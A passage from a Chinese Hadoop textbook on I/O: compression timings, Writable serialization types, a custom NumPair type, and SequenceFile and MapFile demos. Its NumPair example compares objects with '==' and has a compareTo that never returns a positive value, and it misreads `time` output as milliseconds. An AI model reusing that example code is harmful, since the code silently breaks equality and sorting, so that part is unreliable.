000个字符串。对这个文件进行WordCount。Map的输出压缩采用默认的压缩算法，output的输出采用Gzip压缩方法，我们关注的内容是程序执行的速度差别。\n执行压缩操作的WordCount程序与基本的WordCount程序相似，只需在conf设置时写入以下几行代码：\nconf.setBoolean（\"mapred.compress.map.output\"，true）；\nconf.setBoolean（\"mapred.output.compress\"，true）；\nconf.setIfUnset（\"mapred.output.compression.type\"，\"BLOCK\"）；\nc o n f.s e t C l a s s（\"m a p r e d.o u t p u t.c o m p r e s s i o n.c o d e c\"，G z i p C o d e c.c l a s s，\nCompressionCodec.class）；\n下面分别执行编译打包两个程序，在运行时用time命令记录程序的执行时间，如下所示：\ntime bin/hadoop jar WordCount.jar WordCount XWTInput xwtOutput\nreal 12m41.308s\ntime bin/hadoop jar CompressionWordCount.jar CompressionWordCount XWTInput\nxwtOutput2\nreal 8m9.714s\nCompressionWordCount. jar是带压缩的WordCount程序的打包，从上面可以看出执行压缩的程序要比不压缩的程序快4分钟，或者说，在这个实验环境下，使用压缩会使WordCount效率提高大约三分之一。\n7.3 数据的I/O中序列化操作\n序列化是将对象转化为字节流的方法，或者说用字节流描述对象的方法。与序列化相对的是反序列化，反序列化是将字节流转化为对象的方法。序列化有两个目的：\n1）进程间通信；\n2）数据持久性存储。\nHadoop采用RPC来实现进程间通信。一般而言，RPC的序列化机制有以下特点：\n1）紧凑：紧凑的格式可以充分利用带宽，加快传输速度；\n2）快速：能减少序列化和反序列化的开销，这会有效地减少进程间通信的时间；\n3）可扩展：可以逐步改变，是客户端与服务器端直接相关的，例如，可以随时加入一个新的参数方法调用；\n4）互操作性：支持不同语言编写的客户端与服务器交换数据。\nHadoop也希望数据持久性存储同样具有以上这些优点，因此它的数据序列化机制就是依照以上这些目的而设计的（或者说是希望设计成这样）。\n在Hadoop中，序列化处于核心地位。因为无论是存储文件还是在计算中传输数据，都需要执行序列化的过程。序列化与反序列化的速度，序列化后的数据大小等都会影响数据传输的速度，以致影响计算的效率。正是因为这些原因，Hadoop并没有采用Java提供的序列化机制（Java Object Serialization），而是自己重新写了一个序列化机制Writeables。Writeables具有紧凑、快速的优点（但不易扩展，也不利于不同语言的互操作），同时也允许对自己定义的类加入序列化与反序列化方法，而且很方便。\n 7.3.1 Writable类\nWritable是Hadoop的核心，Hadoop通过它定义了Hadoop中基本的数据类型及其操作。一般来说，无论是上传下载数据还是运行Mapreduce程序，你无时无刻不需要使用Writable类，因此Hadoop中具有庞大的一类Writable类（见图7-2），不过Writable类本身却很简单。\nWritable类中只定义了两个方法：\n//序列化输出数据流\nvoid write（DataOutput out）throws IOException\n//反序列化输入数据流\nvoid readFields（DataInput in）throws IOException\nHadoop还有很多其他的Writable类。比如WritableComparable、ArrayWritable、Two-DArrayWritable及AbstractMapWritable，它们直接继承自Writable类。还有一些类，如BooleanWritale、ByteWritable等，它们不是直接继承于Writable类，而是继承自WritableComparable类。Hadoop的基本数据类型就是由这些类构成的。这些类构成了以下的层次关系（如图7-2所示）。\n图 7-2 Writable类层次关系图\n1.Hadoop的比较器\nWritableComparable是Hadoop中非常重要的接口类。它继承自org.apache.hadoop.io.Writable类和java.lang.Comparable类。WritableComparator是Writablecomparable的比较器，它是RawComparator针对WritableComparate类的一个通用实现，而RawComparator则继承自java.util.Comparator，它们之间的关系如图7-3所示。\n图 7-3 WritableComparable和WritableComparablor类层次关系图\n这两个类对MapReduce而言至关重要，大家都知道，MapReduce执行时，Reducer（执行Reduce任务的机器）会搜集相同key值的key/value对，并且在Reduce之前会有一个排序过程，这些键值的比较都是对WritableComparate类型进行的。\nHadoop在RawComparator中实现了对未反序列化对象的读取。这样做的好处是，可以不必创建对象就能比较想要比较的内容（多是key值），从而省去了创建对象的开销。例如，大家可以使用如下函数，对指定了开始位置（s1和s2）及固定长度（l1和l2）的数组进行比较：\npublic interface RawComparator＜T＞extends Comparator＜T＞{\npublic int compare（byte[]b1，int s1，int l1，byte[]b2，int s2，int l2）；\n}\nWritableComparator是RawComparator的子类，在这里，添加了一个默认的对象进行反序列化，并调用了比较函数compare（）进行比较。下面是WritableComparator中对固定字节反序列化的执行情况，以及比较的实现过程：\npublic int compare（byte[]b1，int s1，int l1，byte[]b2，int s2，int l2）{\ntry{\nbuffer.reset（b1，s1，l1）；//parse key1\nkey1.readFields（buffer）；\nbuffer.reset（b2，s2，l2）；//parse key2\nkey2.readFields（buffer）；\n}catch（IOException e）{\nthrow new RuntimeException（e）；\n}\nreturn compare（key1，key2）；//compare them\n}\n2.Writable类中的数据类型\n（1）基本类\nWritable中封装有很多Java的基本类，如表7-3所示。\n其中最简单的要数Hadoop中对Boolean的实现，如下所示：\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.*；\npublic class BooleanWritable implements WritableComparable{\nprivate boolean value；\npublic BooleanWritable（）{}；\npublic BooleanWritable（boolean value）{\nset（value）；\n}\npublic void set（boolean value）{\nthis.value=value；\n}\npublic boolean get（）{\nreturn value；\n}\npublic void readFields（DataInput in）throws IOException{\nvalue=in.readBoolean（）；\n}\npublic void write（DataOutput out）throws IOException{\nout.writeBoolean（value）；\n}\npublic boolean equals（Object o）{\nif（！（o instanceof BooleanWritable））{\nreturn false；\n}\nBooleanWritable other=（BooleanWritable）o；\nreturn this.value==other.value；\n}\npublic int hashCode（）{\nreturn value?0：1；\n}\npublic int compareTo（Object o）{\nboolean a=this.value；\nboolean b=（（BooleanWritable）o）.value；\nreturn（（a==b）?0：（a==false）?-1：1）；\n}\npublic String toString（）{\nreturn Boolean.toString（get（））；\n}\npublic static class Comparator extends WritableComparator{\npublic Comparator（）{\nsuper（BooleanWritable.class）；\n}\npublic int compare（byte[]b1，int s1，int l1，\nbyte[]b2，int s2，int l2）{\nboolean a=（readInt（b1，s1）==1）?true：false；\nboolean b=（readInt（b2，s2）==1）?true：false；\nreturn（（a==b）?0：（a==false）?-1：1）；\n}\n}\nstatic{\nWritableComparator.define（BooleanWritable.class, new Comparator（））；\n}\n}\n可以看到Hadoop直接将boolean写入到字节流（out.writeBoolean（value））中了，并没有采用Java的序列化机制。同时，除了构造函数、set（）函数、get（）函数等外，Hadoop还定义了三个用于比较的函数：equals（）、compareTo（）、compare（）。前两个很简单，第三个就是前文中重点介绍的比较器。Hadoop中封装定义的其他Java基本数据类型（如Boolean、byte、int、float、long、double）都是相似的。\n如果大家对Java流处理比较了解的话可能会知道，Java流处理中并没有DataOutput.writeVInt（）。实际上，这是Hadoop自己定义的变长类型（VInt, VLong），而且VInt和VLong的处理方式实际上是一样的。\npublic static void writeVInt（DataOutput stream, int i）throws IOException{\nwriteVLong（stream, i）；\n}\nHadoop对VLong类型的处理方法如下：\npublic static void writeVLong（DataOutput stream, long i）throws IOException{\nif（i＞=-112＆＆i＜=127）{\nstream.writeByte（（byte）i）；\nreturn；\n}\nint len=-112；\nif（i＜0）{\ni^=-1L；//take one's complement'\nlen=-120；\n}\nlong tmp=i；\nwhile（tmp！=0）{\ntmp=tmp＞＞8；\nlen--；\n}\nstream.writeByte（（byte）len）；\nlen=（len＜-120）?-（len+120）：-（len+112）；\nfor（int idx=len；idx！=0；idx--）{\nint shiftbits=（idx-1）*8；\nlong mask=0xFFL＜＜shiftbits；\nstream.writeByte（（byte）（（i＆mask）＞＞shiftbits））；\n}\n}\n上面代码的意思是如果数值较小（在-112和127之间），那么就直接将这个数值写入数据流内（stream.writeByte（（byte）i））。如果不是，则先用len表示字节长度与正负，并写入数据流中，然后在其后写入这个数值。\n（2）其他类\n下面将按照先易后难的顺序一一讲解。\n1）NullWritable。这是一个占位符，它的序列化长度为零，没有数值从流中读出或是写入流中。\npublic void readFields（DataInput in）throws IOException{}\npublic void write（DataOutput out）throws IOException{}\n在任何编程语言或编程框架时，占位符都是很有用的，这个类型不可以和其他类型比较，在MapReduce，你可以将任何键或值设为空值。\n2）BytesWritable和ByteWritable。ByteWritable是一个二进制数据的封装。它的所有方法都是基于单个Byte来处理的。BytesWritable是一个二进制数据数组的封装。它对输出流的处理如下所示：\npublic BytesWritable（byte[]bytes）{\nthis.bytes=bytes；\nthis.size=bytes.length；\n}\npublic void write（DataOutput out）throws IOException{\nout.writeInt（size）；\nout.write（bytes，0，size）；\n}\n可以看到，它首先会把这个二进制数据数组的长度写入输入流中，这个长度一般是在声明时所获得的二进制数据数组的实际长度。当然这个值也可以人为设定。如果要把长度为3、位置为129的字节数组序列化，根据程序可知，结果应为：\nSize=00000003 bytes[]={（01），（02），（09）}\n数据流中的值就是：\n00000003010209\n3）Text。这可能是这几个自定义类型中相对复杂的一个了。实际上，这是Hadoop中对string类型的重写，但是又与其有一些不同。Text使用标准的UTF-8编码，同时Hadoop使用变长类型VInt来存储字符串，其存储上限是2GB。\nText类型与String类型的主要差别如下：\nString的长度定义为String包含的字符个数；Text的长度定义为UTF-8编码的字节数。\nString内的indexOf（）方法返回的是char类型字符的索引，比如字符串（1234），字符3的位置就是2（字符1的位置是0）；而Text的find（）方法返回的是字节偏移量。\nString的charAt（）方法返回的是指定位置的char字符；而Text的charAT（）方法需要指定偏移量。\n另外，Text内定义了一个方法toString（），它用于将Text类型转化为String类型。\n看如下这个例子：\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.*；\nimport org.apache.hadoop.io.*；\npublic class MyMapre{\npublic static void strings（）{\nString s=\"\\u0041\\u00DF\\u6771\\uD801\\uDC00\"；\nSystem.out.println（s.length（））；\nSystem.out.println（s.indexOf（\"\\u0041\"））；\nSystem.out.println（s.indexOf（\"\\u00DF\"））；\nSystem.out.println（s.indexOf（\"\\u6771\"））；\nSystem.out.println（s.indexOf（\"\\uD801\\uDC00\"））；\n}\npublic static void texts（）{\nText t=new Text（\"\\u0041\\u00DF\\u6771\\uD801\\uDC00\"）；\nSystem.out.println（t.getLength（））；\nSystem.out.println（t.find（\"\\u0041\"））；\nSystem.out.println（t.find（\"\\u00DF\"））；\nSystem.out.println（t.find（\"\\u6771\"））；\nSystem.out.println（t.find（\"\\uD801\\uDC00\"））；\n}\npublic static void main（String args[]）{\nstrings（）；\ntexts（）；\n}\n}\n输出结果为\n5\n0\n1\n2\n3\n10\n0\n1\n3\n6\n上面例子可以验证前面所列的那些差别。\n4）ObjectWritable。ObjectWritable是一种多类型的封装。可以适用于Java的基本类型、字符串等。不过，这并不是一个好方法，因为Java在每次被序列化时，都要写入被封装类型的类名。但是如果类型过多，使用静态数组难以表示时，采用这个类仍是不错的做法。\n5）ArrayWritable和TwoDArrayWritable。ArrayWritable和TwoDArrayWritable，顾名思义，是针对数组和二维数组构建的数据类型。这两个类型声明的变量需要在使用时指定类型，因为ArrayWritable和TwoDArrayWritable并没有空值的构造函数。\nArrayWritable a=new ArrayWritable（IntWritable.class）\n同样，在声明它们的子类时，必须使用super（）来指定ArrayWritable和TwoDArrayWritable的数据类型。\npublic class IntArrayWritable extends ArrayWritable{\npublic IntArrayWritable（）{\nsuper（IntWritable.class）；\n}\n}\n一般情况下，ArrayWritable和TwoDArrayWritable都有set（）和get（）函数，在将Text转化为String时，它们也都提供了一个转化函数toArray（）。但是它们没有提供比较器comparator，这点需要注意。同时从TwoDArrayWritable的write和readFields可以看出是横向读写的，同时还会读写每一维的数据长度。\npublic void readFields（DataInput in）throws IOException{\nfor（int i=0；i＜values.length；i++）{\nfor（int j=0；j＜values[i].length；j++）{\n……\nvalue.readFields（in）；\nvalues[i][j]=value；//保存读取的数据\n}\n}\n}\npublic void write（DataOutput out）throws IOException{\nfor（int i=0；i＜values.length；i++）{\nout.writeInt（values[i].length）；\n}\nfor（int i=0；i＜values.length；i++）{\nfor（int j=0；j＜values[i].length；j++）{\nvalues[i][j].write（out）；\n}\n}\n}\n6）MapWritable和SortedMapWritable。MapWritable和SortedMapWritable分别是java.util.Map（）和java.util.SortedMap（）的实现。\n这两个实例是按照如下格式声明的：\nprivate Map＜Writable, Writable＞instance；\nprivate SortedMap＜WritableComparable, Writable＞instance；\n我们可以用Hadoop定义的Writable类型来填充key或value，也可以使用自己定义的Writable类型来填充。\n在java.util.Map（）和java.util.SortedMap（）中定义的功能，如getKey（）、getValue（）、keySet（）等，在这两个类中均有实现。Map的使用也很简单，见如下程序，需要注意的是，不同key值对应的value数据类型可以不同。\npackage cn.edn.rm.cloodcomputing.book.chapter07；\nimport java.io.*；\nimport java.util.*；\nimport org.apache.hadoop.io.*；\npublic class MyMapre{\npublic static void main（String args[]）throws IOException{\nMapWritable a=new MapWritable（）；\na.put（new IntWritable（1），new Text（\"Hello\"））；\na.put（new IntWritable（2），new Text（\"World\"））；\nMapWritable b=new MapWritable（）；\nWritableUtils.cloneInto（b, a）；\nSystem.out.println（b.get（new IntWritable（1）））；\nSystem.out.println（b.get（new IntWritable（2）））；\n}\n}\n显示结果为\nHello\nWorld\n7）CompressedWritable。CompressedWritable是保存压缩数据的数据结构。跟之前介绍的数据结构不同，它实现Writable接口，主要面向在Map和Reduce阶段中的大数据对象操作，对这些大数据对象的压缩能够大大加快数据的传输速率。它的主要数据结构是一个byte数组，提供给用户必须实现的函数是readFieldsCompressed和writeCompressed。CompressedWritable在读取数据时先读取二进制字节流，然后调用ensureInflated函数进行解压，在写数据时，将输出的二进制字节流封装成压缩后的二进制字节流。\n8）GenericWritable。这个数据类型是一个通用的数据封装类型。由于是通用的数据封装，它需要保存数据和数据的原始类型，其数据结构如下：\nprivate static final byte NOT_SET=-1；\nprivate byte type=NOT_SET；\nprivate Writable instance；\nprivate Configuration conf=null；\n由于其特殊的数据结构，在读写时也需要读写对应的数据结构：实际数据和数据类型，并且要保证固定的顺序。\npublic void readFields（DataInput in）throws IOException{\n//先读取数据类型\ntype=in.readByte（）；\n……\n//再读取数据\ninstance.readFields（in）；\n}\npublic void write（DataOutput out）throws IOException{\nif（type==NOT_SET||instance==null）\nthrow new IOException（\"The GenericWritable has NOT been set correctly.type=\"\n+type+\"，instance=\"+instance）；\n//先写出数据类型\nout.writeByte（type）；\n//在写出数据\ninstance.write（out）；\n}\n9）VersionedWritable。VersionedWritable是一个抽象的版本检查类，它主要保证在一个类的发展过程中，使用旧类编写的程序仍然能由新类解析处理。在这个类的实现中只有简单的三个函数：\n//返回版本信息\npublic abstract byte getVersion（）；\n//写出版本信息\npublic void write（DataOutput out）throws IOException{\nout.writeByte（getVersion（））；\n}\n//读入版本信息\npublic void readFields（DataInput in）throws IOException{\nbyte version=in.readByte（）；\nif（version！=getVersion（））\nthrow new VersionMismatchException（getVersion（），version）；\n}\n7.3.2 实现自己的Hadoop数据类型\n实现自定义的Hadoop数据类型具有非常重要的意义。虽然Hadoop已经定义了很多有用的数据类型，但在实际应用中，我们总是需要定义自己的数据类型以满足程序的需要。\n我们定义一个简单的整数对＜LongWritable, LongWritable＞，这个类可以用来记录文章中单词出现的位置，第一个LongWritable代表行数，第二个LongWritable代表它是该行的第几个单词。定义NumPair，如下所示：\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.*；\nimport org.apache.hadoop.io.*；\npublic class NumPair implements WritableComparable＜NumPair＞{\nprivate LongWritable line；\nprivate LongWritable location；\npublic NumPair（）{\nset（new LongWritable（0），new LongWritable（0））；\n}\npublic void set（LongWritable first, LongWritable second）\n{\nthis.line=first；\nthis.location=second；\n}\npublic NumPair（LongWritable first, LongWritable second）{\nset（first, second）；\n}\npublic NumPair（int first, int second）{\nset（new LongWritable（first），new LongWritable（second））；\n}\npublic LongWritable getLine（）{\nreturn line；\n}\npublic LongWritable getLocation（）{\nreturn location；\n}\n@Override\npublic void readFields（DataInput in）throws IOException\n{\nline.readFields（in）；\nlocation.readFields（in）；\n}\n@Override\npublic void write（DataOutput out）throws IOException{\nline.write（out）；\nlocation.write（out）；\n}\npublic boolean equals（NumPair o）{\nif（（this.line==o.line）＆＆（this.location==o.location））\nreturn true；\nreturn false；\n}\n@Override\npublic int hashCode（）{\nreturn line.hashCode（）*13+location.hashCode（）；\n}\n@Override\npublic int compareTo（NumPair o）{\nif（（this.line==o.line）＆＆（this.location==o.location））\nreturn 0；\nreturn-1；\n}\n}\n7.4 针对Mapreduce的文件类\nHadoop定义了一些文件数据结构以适应Mapreduce编程框架的需要，其中SequenceFile和MapFile两种类型非常重要，Map输出的中间结果就是由它们表示的。其中，MapFile是经过排序并带有索引的SequenceFile。\n 7.4.1 SequenceFile类\nSequenceFile记录的是key/value对的列表，是序列化之后的二进制文件，因此是不能直接查看的，我们可以通过如下命令来查看这个文件的内容。\nhadoop fs-text MySequenceFile（你的SequenceFile文件）\nSequence有三种不同类型的结构：\n1）未压缩的key/value对；\n2）记录压缩的Key/value对（这种情况下只有value被压缩）；\n3）Block压缩的key/value对（在这种情况下，key与value被分别记录到块中并压缩）。\n下面详细介绍它们的结构。\n1.未压缩和只压缩value的SequenceFile数据格式\n未压缩和只压缩value的SequenceFile数据格式基本是相同的。\nHeader是头，它记录的内容如图7-4所示，现在一一对其进行解释：\n图 7-4 SequenceFile数据格式（未压缩和Record压缩格式）\nversion（版本号）：这是一个形如SEQ4或SEQ5的字节数组，一共占四个字节；\nkeyClassName（key类名）和valueClassName（value类名）：这两个都是String类型，记录的是key和value的数据类型；\ncompression（压缩）：这是一个布尔类型，它记录的是在这个文件中压缩是否启用；\nblockCompression（Block压缩）：布尔类型，记录Block压缩是否启用；\ncompressor class（压缩类）：这是Hadoop内封装的用于压缩key和value的代码；\nmetadata（元数据）：用于记录文件的元数据，文件的元数据是一个＜属性名，值＞对的列表；\nRecord：它是数据内容，其内容简单明了，相信大家看图就很容易明白。\nSync-marker：它是一个标记，可以允许程序快速找到文件中随机的一个点。它可以使\nMapReduce程序更有效率地分割大文件。\n需要注意的是，Sync-marker每隔几百个字节会出现一次，因此最后的SequenceFile会是形如图7-5所示的序列文件。\n图 7-5 SequenceFile数据存储示例\nSync出现的位置取决于字节数，而不是间隔的Recorder的个数。\n从上面的内容可以知道，未压缩与只压缩value的SequenceFile数据格式有两点不同，一是compression（是否压缩）的值不同，二是value存储的数据是否经过了压缩不同。\n2.Block压缩的SequenceFile数据格式\nBlock压缩的SequenceFile数据格式与上面两种也很相似，它们的头与上面是一样的，同时也会标记一个Sync-marker。不过它们的Recorder格式是不同的，并且Sync-marker是标记在每个块前面的。下面是Block压缩的SequenceFile的Recorder格式。如图7-6所示。\n图 7-6 SequenceFile数据格式Recorder部分（Block压缩）\nBlock压缩一次会压缩多个Recorder, Recorder在达到一个值时被记录，这个值是由io.seqfile.compress.blocksize定义的。Block压缩的SequenceFile是形成图7-7所示的序列文件。\n图 7-7 SequenceFile数据存储示例（Block压缩）\n我们可以通过编写程序生成读取SequenceFile文件来实践一下。\n程序如下（注意这个程序生成的数据大概会有150MB，需要的话可以减少循环次数以缩短运行时间）：\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.IOException；\nimport java.net.URI；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.*；\nimport org.apache.hadoop.io.*；\npublic class SequenceFileWriteDemo{\nprivate static String[]myValue={\n\"hello world\"，\n\"bye world\"，\n\"hello hadoop\"，\n\"bye hadoop\"\n}；\npublic static void main（String[]args）throws IOException{\nString uri=\"你想要生成的SequenceFile的位置\"；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nPath path=new Path（uri）；\nIntWritable key=new IntWritable（）；\nText value=new Text（）；\nSequenceFile.Writer writer=null；\ntry{\nwriter=SequenceFile.createWriter（fs, conf, path, key.getClass（），value.\ngetClass（））；\nfor（int i=0；i＜5000000；i++）{\nkey.set（5000000-i）；\nvalue.set（myValue[i%myValue.length]）；\nwriter.append（key, value）；\n}\n}finally{\nIOUtils.closeStream（writer）；\n}\n}\n}\n程序结果是生成了一个SequenceFile文件，你可以使用前文提到的命令：Hadoop fs-text你的SequenceFile文件名，来查看这个文件。因为内容太多只展示一部分，其内容如下：\n5000000 hello world\n4999999 bye world\n4999998 hello hadoop\n4999997 bye hadoop\n4999996 hello world\n4999995 bye world\n4999994 hello hadoop\n4999993 bye hadoop\n4999992 hello world\n4999991 bye world\n……\n10 hello hadoop\n9 bye hadoop\n8 hello world\n7 bye world\n6 hello hadoop\n5 bye hadoop\n4 hello world\n3 bye world\n2 hello hadoop\n1 bye hadoop\n这个程序的关键是下面这段代码：\nSequenceFile.Writer writer=null；\nwriter=SequenceFile.createWriter（fs, conf, path, key.getClass（），value.getClass（））；\nwriter.append（key, value）；\n我们需要声明SequenceFile.Writer类并使用函数SequenceFile.createWriter（）来给它赋值。这个函数中至少要指定四个参数，即输出流（fs）、conf对象（conf）、key的类型、value的类型，同时它还有很多重构函数，可以设置压缩等。然后我们就可以使用writer.append（）来向流中写入key/value对了。\n读取SequenceFile文件内容的程序也很简单，如下所示。\nSequenceFileReadFile\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.IOException；\nimport java.net.URI；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.FileSystem；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IOUtils；\nimport org.apache.hadoop.io.SequenceFile；\nimport org.apache.hadoop.io.Writable；\nimport org.apache.hadoop.util.ReflectionUtils；\npublic class SequenceFileReadFile{\npublic static void main（String[]args）throws IOException{\nString uri=\"你想要读取的SequenceFile所在位置\"；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nPath path=new Path（uri）；\nSequenceFile.Reader reader=null；\ntry{\nreader=new SequenceFile.Reader（fs, path, conf）；\nWritable key=（Writable）ReflectionUtils.newInsta\nnce（reader.getKeyClass（），conf）；\nWritable value=（WritableReflectionUtils.newInsta\nnce（reader.getValueClass（），conf）；\nlong position=reader.getPosition（）；\nwhile（reader.next（key, value））{\nString syncSeen=reader.syncSeen（）?\"*\"：\"\"；\nSystem.out.printf（\"[%s%s]\\t%s\\t%s\\n\"，position, syncSeen, key, value）；\nposition=reader.getPosition（）；//beginning of next record\n}\n}finally{\nIOUtils.closeStream（reader）；\n}\n}\n}\n读取SequenceFile文件的程序关键是以下代码：\nSequenceFile.Reader reader=null；\nreader=new SequenceFile.Reader（fs, path, conf）；\nreader.next（key, value）；\nWritable key=（Writable）ReflectionUtils.newInstance（reader.\ngetKeyClass（），conf）；\nWritable value=（Writable）ReflectionUtils.newInstance（reader.\ngetValueClass（），conf）；\n很简单，声明reader并赋值之后，我们可以通过getKeyClass（）和getValueClass（）得到key和value的类型，并通过ReflectionUtils直接实例化对象，然后就可以通过reader.next（）跳到下一个key/value值，以遍历文件中所有的key/value对。\n根据前面所述，生成SequenceFile文件时是可以采用压缩方式的，下面就采用Block压缩方式生成SequenceFile文件。此程序与生成不压缩SequenceFile文件的程序基本相同，只是在SequenceFile.createWrite（）时修改了一下设置，如下所示：\nSequenceFile.createWriter（fs,conf,path,key.getClass（），value.\ngetClass（），CompressionType.BLOCK）\n然后查看生成的两个文件的大小：\n-rwxrwxrwx 1 u u 10214801 2011-01-14 16：31 MySequenceOutput\n-rwxrwxrwx 1 u u 159062628 2011-01-14 16：25 MySequenceOutput2\n文件大小是以byte显示的，可以看到，采用Block压缩的文件是不压缩的1/16左右。\n我们可以将这个Java文件编译打包，在运行时使用time函数记录这两个jar包的执行时间，如下所示：\n//这是不使用压缩的程序\ntime hadoop jar UnComSequenceFileWriteFile.jar UnComSequence\nFileWriteFile\nreal 0m47.668s\n//这是使用压缩的程序\ntime hadoop jar ComSequenceFileWriteFile.jar ComSequenceFile\nWriteFile\nreal 0m7.539s\n上面记录了程序具体运行的时间，以毫秒为单位。可以看出，使用压缩的程序其执行效率要远远高于不使用压缩的程序。我们推测这个时间的差距主要是受硬盘写入时间的影响，再加上传输10MB的数据所花的时间要远远少于传输159MB的数据的。这就能很好地解释为什么在MapReduce程序中采用压缩会提高效率了（因为一般而言，这是Map的输出文件）。\n7.4.2 MapFile类\nMapFile的使用与SequenceFile类似，建立MapFile文件的程序如下：\nMapFileWriteFile. java\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.IOException；\nimport java.net.URI；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.*；\nimport org.apache.hadoop.io.*；\npublic class MapFileWriteFile{\nprivate static final String[]myValue={\n\"hello world\"，\n\"bye world\"，\n\"hello hadoop\"，\n\"bye hadoop\"\n}；\npublic static void main（String[]args）throws IOException{\nString uri=\"你想要生成SequenceFile的位置\"；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nIntWritable key=new IntWritable（）；\nText value=new Text（）；\nMapFile.Writer writer=null；\ntry{\nwriter=new MapFile.Writer（conf, fs, uri, key.get\nClass（），value.getClass（））；\nfor（int i=0；i＜500；i++）{\nkey.set（i）；\nvalue.set（myValue[i%myValue.length]）；\nwriter.append（key, value）；\n}\n}finally{\nIOUtils.closeStream（writer）；\n}\n}\n}\n这个程序与建立SequenceFile文件的程序极其类似，这里就不详述了。与SequenceFile只生成一个文件不同，这个程序生成的是一个文件夹。如下所示：\n-rw-r--r--**supergroup 16018*/user/root/MapFileOutput/data\n-rw-r--r--**supergroup 227*/user/root/MapFileOutput/index\n其中data是存储的数据，即MapFile文件（经过排序SequenceFile文件），index就是索引了，在这个程序中，其内容如下：\n0 128\n128 4200\n256 8272\n384 12344\n可以看出，索引是按每128个键建立的，这个值可以通过修改io.map.index.interval的大小来修改。key值后面是偏移量，用于记录key的位置。\n读取MapFile文件的程序也很简单，其内容如下所示：\npackage cn.edn.ruc.cloudcomputing.book.chapter07；\nimport java.io.IOException；\nimport java.net.URI；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.FileSystem；\nimport org.apache.hadoop.io.IOUtils；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.MapFile；\nimport org.apache.hadoop.io.Writable；\nimport org.apache.hadoop.io.WritableComparable；\nimport org.apache.hadoop.util.ReflectionUtils；\npublic class MapFileReadFile{\npublic static void main（String[]args）throws IOException{\nString uri=\"你想要读取的MapFile文件位置\"；\nConfiguration conf=new Configuration（）；\nFileSystem fs=FileSystem.get（URI.create（uri），conf）；\nMapFile.Reader reader=null；\ntry{\nreader=new MapFile.Reader（fs, uri, conf）；\nWritableComparable key=（WritableComparable）\nReflectionUtils.newInstance（reader.getKeyClass（），conf）；\nWritable value=（Writable）ReflectionUtils.\nnewInstance（reader.getValueClass（），conf）；\nwhile（reader.next（key, value））{\nSystem.out.printf（\"%s\\t%s\\n\"，key, value）；\n}\nreader.get（new IntWritable（7），value）；\nSystem.out.printf（\"%s\\n\"，value）；\n}finally{\nIOUtils.closeStream（reader）；\n}\n}\n}\n其特别之处是，MapFile可以查找单个键所对应的value值，见下面这段话：\n执行这个操作时，MapFile.Reader（）需要先把index读入内存中，然后执行一个简单的二叉搜索找到数据，MapFile.Reader（）在查找时，会先在索引文件中找到小于我们想要找的key值的索引key值，然后再到data文件中向后查找。\n大型MapFile文件的索引通常会占用很大的内存，这时我们可以通过重设索引、增加索引间隔的方法降低索引文件的大小，但是重设索引是一个很麻烦的事情。Hadoop提供了另一个非常有效的方法，就是读取索引文件时，可以每隔几个索引key再读取索引key值，这样就可以有效地降低读入内存的索引文件的大小。至于跳过key的个数是通过io.map.index.skip来设置的。\n7.4.3 ArrayFile、SetFile和BloomMapFile\nArrayFile继承自MapFile，它保存的是从Integer到value的映射关系。这一点从它的代码实现上也可以看出：\npublic Writer（Configuration conf, FileSystem fs，\nString file, Class＜?extends Writable＞valClass）\nthrows IOException{\nsuper（conf, fs, file, LongWritable.class, valClass）；\n}\npublic static class Reader extends MapFile.Reader{\nprivate LongWritable key=new LongWritable（）；\npublic Reader（FileSystem fs, String file, Configuration conf）throws IOException{\nsuper（fs, file, conf）；\n}\n}\n从上面的代码中看出，在写出时，key的数据类型是LongWritable，而不是MapFile中的WritableComparator.get（keyClass），在读入的时候，可以直接定义成LongWriable。ArrayFile更加具体的定义缩小了其适用范围，但是也降低了使用的难度，提高了使用的准确性。\nSetFile同样继承自MapFile，它同Java中的set类似，仅仅是一个Key的集合，而没有任何value。\npublic Writer（Configuration conf, FileSystem fs, String dirName，\nClass＜?extends WritableComparable＞keyClass，\nSequenceFile.CompressionType compress）\nthrows IOException{\nthis（conf, fs, dirName, WritableComparator.get（keyClass），compress）；\n}\npublic void append（WritableComparable key）throws IOException{\nappend（key, NullWritable.get（））；\n}\npublic Reader（FileSystem fs, String dirName, WritableComparator comparator，\nConfiguration conf）\nthrows IOException{\nsuper（fs, dirName, comparator, conf）；\n}\npublic boolean seek（WritableComparable key）\nthrows IOException{\nreturn super.seek（key）；\n}\npublic boolean next（WritableComparable key）\nthrows IOException{\nreturn next（key, NullWritable.get（））；\n}\n从上面SetFile的实现代码（读、插入、写、查找、下一个key）也可以看出，它仅仅是一个key的集合，而非映射。需要注意的是向SetFile中插入key时，必须保证此key比set中的key都大，即SetFile实际上是一个key的有序集合。\nBloomMapFile没有从MapFile继承，但是它的两个核心内部类Writer/Reader均继承自MapFile对应的两个内部类，其在实际使用中发挥的作用也和MapFile类似，只是增加了过滤的功能。它使用动态的Bloom Filter（请参见本书第5章）来检查key是否包含在预定的key集合内。BloomMapFile的数据结构有key/value的映射和一个Bloom Filter，在写出数据时先根据配置初始化Bloom Fliter，将key加入Bloom Filter中，然后写出key/value数据，最后在关闭输出流时写出Bloom Filter，具体可见代码：\npublic Writer（Configuration conf, FileSystem fs, String dirName，\nWritableComparator comparator, Class valClass）throws IOException{\nsuper（conf, fs, dirName, comparator, valClass）；\nthis.fs=fs；\nthis.dir=new Path（dirName）；\ninitBloomFilter（conf）；\n}\nprivate synchronized void initBloomFilter（Configuration conf）{\n……\n}\n@Override\npublic synchronized void append（WritableComparable key, 